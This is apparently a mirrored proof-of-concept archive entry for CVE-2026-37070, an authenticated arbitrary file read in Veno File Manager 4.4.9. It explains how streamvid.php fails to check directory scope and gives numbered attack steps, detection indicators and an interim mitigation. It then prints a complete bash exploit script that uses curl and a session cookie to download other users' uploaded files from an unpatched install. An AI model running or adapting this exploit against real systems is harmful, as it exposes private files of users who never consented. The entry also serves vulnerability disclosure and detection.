PoC Archive PoC Archive
Medium CVE-2026-37070 unpatched

Veno File Manager 4.4.9 — Authenticated Arbitrary File Read (CVE-2026-37070)

by jfs-jfs · 2026-07-05

Severity
Medium
CVE
CVE-2026-37070
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37070
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsfile-manager, incorrect-access-control, arbitrary-file-read, php, authenticated, veno-file-manager
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash / PHP web application
Authentication RequiredYes (any authenticated vfm user)
Network Access RequiredYes

Summary

Veno File Manager 4.4.9 exposes the /vfm-admin/ajax/streamvid.php endpoint without properly restricting which files a session-authenticated user may request. A user who is only supposed to have access to their own assigned directory can instead read any uploaded file elsewhere on the server, as long as they know or can guess the path and filename. The endpoint takes a base64-encoded path via the vid GET parameter and streams the referenced file back without checking that it lies inside the caller’s permitted directory. The included PoC automates the request and saves the retrieved file locally.


Vulnerability Details

Root Cause

streamvid.php resolves the vid parameter (a base64-encoded relative path) directly against the uploads directory without verifying the requesting user’s directory scope, resulting in incorrect access control (arbitrary file read).

Attack Vector

  1. Authenticate to the Veno File Manager application as any user with an assigned upload directory.
  2. Capture the session cookie name/value for that account.
  3. Base64-encode the path of a file believed to exist elsewhere under the uploads directory.
  4. Send a GET request to /vfm-admin/ajax/streamvid.php?vid=<base64 path> with the session cookie.
  5. The server streams back the file contents regardless of directory ownership.

Impact

Any authenticated user can exfiltrate files uploaded by other users, leading to disclosure of potentially sensitive documents, media, or configuration data.


Environment / Lab Setup

Target:   Veno File Manager 4.4.9 (self-hosted PHP install)
Attacker: bash, curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <vfm cookie name> <vfm cookie value> <path/to/file> <url to root of vfm installation>/

The script base64-encodes the target file path, issues a GET request to streamvid.php with the supplied session cookie, and saves the retrieved file locally as here.mp4.


Detection & Indicators of Compromise

GET /vfm-admin/ajax/streamvid.php?vid=<base64> HTTP/1.1

Signs of compromise:

  • Requests to streamvid.php with vid values decoding to paths outside the requesting user’s own directory
  • Unexpected download activity from low-privilege accounts

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationEnforce server-side directory-scope checks on streamvid.php before returning file contents; restrict application-level user permissions

References


Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37070 on 2026-07-05.

PoC.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env bash

##########################################################
####### AUTHENTICATED ARBITRARY UPLOADED FILE READ #######
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets a user of the application with an
# assigned directory to read files outside its directory
# as long as the name it is known.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file from the root of
#   the uploads directory
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-arbitrary-uploaded-file-read.sh <vfm cookie name> <vfm cookie value> <path/to/file> <url to root of vfm installation>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Pull file"
curl -X GET \
  --output 'here.mp4' \
  -b "$1=$2" \
  "$4/vfm-admin/ajax/streamvid.php?vid=$(echo -n "$3" | base64)"
echo "[ STEP :: 01 ] :: DONE"